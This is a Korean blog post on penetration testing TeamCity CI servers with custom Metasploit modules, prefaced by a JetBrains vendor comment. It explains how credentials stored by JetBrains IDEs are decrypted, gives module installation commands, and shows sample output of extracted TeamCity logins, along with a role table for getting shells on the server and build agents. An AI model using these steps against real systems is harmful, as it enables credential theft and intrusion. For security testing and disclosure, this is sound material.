
Metasploit을 사용하여 TeamCity 침투 테스트
TL;DR: JetBrains IDE(IntelliJ나 PyCharm 등)에서 비밀번호를 획득하고, 해당 자격 증명을 TeamCity CI 서버에서 사용하여 Kacper Szurek의 metasploit을 통해 서버 및 빌드 에이전트에서 meterpreter 세션을 얻습니다.




이 글은 Yegor Yarko가 작성한 벤더(JetBrains TeamCity 팀) 코멘트입니다.
기사 내용의 대부분은 악의적인 사용자가 TeamCity에서 정당하게 부여된 권한을 남용할 수 있는 방법을 설명합니다. 예를 들어 시스템 관리자 역할(서버에 대한 전체 제어 권한 부여)을 가진 사용자는 악성 TeamCity 플러그인을 설치하거나 서버에 대한 "슈퍼 유저" 액세스 토큰을 얻을 수 있습니다. 또한 프로젝트 관리자 역할을 가진 사용자는 에이전트에서 임의 코드를 실행하거나 구성된 저장소 액세스 비밀번호를 검색할 수 있습니다. 이러한 동작은 제품으로서 TeamCity가 제공하는 기능의 일부입니다. 이러한 고려 사항은 TeamCity 문서의 관련 섹션에 설명되어 있습니다.
설명된 문제들은 악의적인 행위자에게 높은 권한을 부여하는 것이 얼마나 위험한지 보여줍니다. TeamCity 서버 관리자는 잠재적으로 악의적인 사용자가 남용할 수 있는 권한을 부여하지 않도록 사용자 권한을 정기적으로 검토해야 하며, 게스트 사용자 권한이 활성화되어 있다면 이를 검토해야 합니다. 또 다른 중요한 점은 일반적이지 않은 권한으로 어디에 로그인한 상태에서 터미널을 방치하지 않는 것입니다.
다만 기사에서는 두 가지 실제 보안 문제가 언급되었습니다. 하나는 악성 빌드 아티팩트를 게시하고 관리자 사용자가 이를 브라우저에서 보도록 만드는 것이고, 다른 하나는 사용자 정의 빌드를 실행할 수 있는 권한을 TeamCity 에이전트에서 임의 코드 실행으로 승격시키는 것입니다. 후자는 이 권한을 가진 사용자가 이미 에이전트에서 임의 코드를 실행할 수 있는 능력을 정기적으로 보유하고 있기 때문에 대부분의 TeamCity 설치에 미치는 영향이 미미합니다.
그럼에도 불구하고 우리는 이러한 문제를 가까운 시일 내에 해결할 TeamCity 릴리스 중 하나에서 다룰 예정이며, 이를 알려주셔서 감사합니다.
JetBrains 스택을 사용하는 소프트웨어 회사 내부에서 침투 테스트를 수행하고 있다고 가정해 봅시다. 여러분은 metasploit을 사용하여 개발자 컴퓨터에서 meterpreter 세션을 획득했습니다.
다음으로 무엇을 할 수 있을까요? 2015년 Nikhil SamratAshok Mittal의 TeamCity 펜테스트에 관한 기사가 하나 있습니다.
이 글에서는 Security Notes와 BugTrack의 여러 기법을 결합하여 Metasploit 모듈로 만들었습니다.
참고: 여기서는 어떤 0day도 사용하지 않습니다. 모든 작업에는 유효한 TeamCity 자격 증명이 필요합니다. JetBrains 코멘트를 참조하세요.
이 스크립트로 인해 발생한 손상에 대해 책임지지 않습니다. 데이터 안전을 위해 set CLEANUP false와 함께 사용하세요.
테스트 환경: TeamCity 2017.2.1 (build 50732).
KeePass 데이터베이스 디코딩을 위해 kdbx Ruby 라이브러리가 필요합니다.
find / -name "metasploit-framework.gemspec"vim /usr/share/metasploit-framework/metasploit-framework.gemspecspec.add_runtime_dependency 'kdbx', '0.2.0'cd /usr/share/metasploit-framework/ && bundle install이제 다음을 수행할 수 있습니다.
mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/postteamcity.rb와 serverplugin.zip을 ~/.msf4/modules/exploits에 복사합니다.jetbrains.rb를 ~/.msf4/modules/post에 복사합니다.msfconsole 실행reload_allTeamCity는 플러그인을 사용하여 모든 JetBrains IDE와 쉽게 통합할 수 있습니다.

Remember me 옵션을 사용하면 비밀번호가 IntelliJ Platform Credentials Store API를 사용하여 저장됩니다. 소스 코드는 여기에서 찾을 수 있습니다.
Windows에서의 복호화 과정은 다음과 같습니다.

pdb.pw 파일은 Windows CryptUnprotectData를 사용하여 복호화됩니다. 즉, 데이터를 암호화한 사용자만 해당 데이터를 해독할 수 있습니다.c.kdbx KeePass 데이터베이스는 2번 항목의 Master Password를 사용하여 복호화할 수 있습니다.0xDFAA로 XOR됩니다.기본적으로 Master Password는 무작위입니다. 옵션에서 변경할 수 있습니다.

하지만 이는 아무것도 바꾸지 않습니다.
이는 단지 KeePass 데이터베이스 c.kdbx가 다른 비밀번호로 암호화된다는 의미일 뿐입니다. 로컬 사용자는 여전히 pdb.pw 파일에서 이 비밀번호를 쉽게 얻을 수 있습니다.
#1에 유효한 Meterpreter 세션이 있다고 가정해 봅시다.```
use post/jetbrains
set SESSION 1
exploit
출력은 다음과 같습니다:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit
[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed
지금 현재 JetBrains metasploit 모듈에서 TeamCity 자격 증명을 확보한 상태입니다. 현재 사용자 역할에 따라 다음을 수행할 수 있습니다:
| 서버에서 셸 | 빌드 에이전트에서 셸 | 슈퍼 사용자 | 저장된 자격 증명 | |
|---|---|---|---|---|
| 관리자 | ✔️ | ✔️ | ✔️ | ✔️ 모든 프로젝트에 대해 |
| 로그인한 사용자 | ❌ | ✖️ Windows 에이전트에서만 | ❌ | ❌ |
| 게스트 사용자 | ❌ | ❌ | ❌ | ❌ |
| 서버에서 셸 | 빌드 에이전트에서 셸 | 슈퍼 사용자 | 저장된 자격 증명 | |
|---|---|---|---|---|
| 시스템 관리자 | ✔️ | ✔️ | ✔️ | ✔️ 모든 프로젝트에 대해 |
| 프로젝트 관리자 | ❌ | ✔️ | ❌ | ✔️ |
| 프로젝트 개발자 | ❌ | ✖️ Windows 에이전트에서만 | ❌ | ❌ |
| 프로젝트 뷰어 | ❌ | ❌ | ❌ | ❌ |
참고: metasploit 모듈은 사용자 정의 역할을 지원하지 않습니다.
TeamCity는 플러그인을 사용하여 쉽게 확장할 수 있습니다.